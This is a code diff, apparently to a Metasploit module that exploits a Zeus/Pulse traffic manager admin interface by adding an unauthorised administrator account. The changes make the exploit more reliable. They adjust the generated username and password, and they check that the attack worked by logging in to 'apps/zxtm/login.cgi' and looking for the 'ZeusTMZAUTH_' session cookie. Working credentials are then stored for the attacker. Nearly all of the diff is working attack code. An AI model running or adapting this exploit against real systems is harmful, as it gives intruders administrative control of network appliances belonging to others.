@@ -39,8 +39,8 @@ def initialize(info = {})
39
39
40
40
register_options ( [
41
41
OptString . new ( 'TARGETURI' , [ true , 'Base path' , '/' ] ) ,
42
- OptString . new ( 'NEW_USERNAME' , [ true , 'Username to be used when creating a new user with admin privileges' , Faker ::Internet . username ] ) ,
43
- OptString . new ( 'NEW_PASSWORD' , [ true , 'Password to be used when creating a new user with admin privileges' , Rex ::Text . rand_text_alpha ( 8 ) ] ) ,
42
+ OptString . new ( 'NEW_USERNAME' , [ true , 'Username to be used when creating a new user with admin privileges' , Faker ::Internet . username . gsub ( '.' , '_' ) ] ) ,
43
+ OptString . new ( 'NEW_PASSWORD' , [ true , 'Password to be used when creating a new user with admin privileges' , Rex ::Text . rand_text_alpha ( 12 ) ] ) ,
44
44
] )
45
45
end
46
46
@@ -91,11 +91,34 @@ def run
91
91
if title_tag
92
92
title_text = title_tag . text . strip
93
93
if title_text == '2'
94
- store_valid_credential ( user : datastore [ 'NEW_USERNAME' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : html )
95
- print_good ( "New admin user was successfully added:\n \t #{ datastore [ 'NEW_USERNAME' ] } :#{ datastore [ 'NEW_PASSWORD' ] } " )
96
- print_good ( "Login at: https://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } #{ datastore [ 'TARGETURI' ] } apps/zxtm/login.cgi" )
94
+ print_status ( 'Request to add new admin user sent, verifying...' )
95
+
96
+ form = Rex ::MIME ::Message . new
97
+ form . add_part ( 'form' , nil , nil , 'form-data; name="_form_submitted"' )
98
+ form . add_part ( datastore [ 'NEW_USERNAME' ] , nil , nil , 'form-data; name="form_username"' )
99
+ form . add_part ( datastore [ 'NEW_PASSWORD' ] , nil , nil , 'form-data; name="form_password"' )
100
+ form . add_part ( 'Login' , nil , nil , 'form-data; name="form_submit"' )
101
+
102
+ res = send_request_cgi (
103
+ {
104
+ 'method' => 'POST' ,
105
+ 'uri' => normalize_uri ( target_uri . path , 'apps' , 'zxtm' , 'login.cgi' ) ,
106
+ 'ctype' => "multipart/form-data; boundary=#{ form . bound } " ,
107
+ 'data' => form . to_s
108
+ }
109
+ )
110
+ if res && res . code == 302 && res . headers . key? ( 'Set-Cookie' ) && res . headers [ 'Set-Cookie' ] . include? ( 'ZeusTMZAUTH_' )
111
+ store_valid_credential ( user : datastore [ 'NEW_USERNAME' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : html )
112
+ print_good ( "New admin user was successfully added:\n \t #{ datastore [ 'NEW_USERNAME' ] } :#{ datastore [ 'NEW_PASSWORD' ] } " )
113
+ print_good ( "Login at: https://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } #{ datastore [ 'TARGETURI' ] } apps/zxtm/login.cgi" )
114
+ end
115
+
116
+ elsif title_text == '0' && html . to_s . include? ( 'ERROR: Specified user already exists' )
117
+ fail_with ( Failure ::BadConfig , "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'." )
118
+ elsif title_text == '0' && html . to_s . include? ( 'ERROR: Username must contain only: letters, numbers,' )
119
+ fail_with ( Failure ::BadConfig , "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'." )
97
120
else
98
- fail_with ( Failure ::UnexpectedReply , 'Unexpected string found inside the title tag: ' + title_text )
121
+ fail_with ( Failure ::NotVulnerable , 'Unexpected string found inside the title tag: ' + title_text )
99
122
end
100
123
else
101
124
fail_with ( Failure ::UnexpectedReply , 'title tag not found.' )
0 commit comments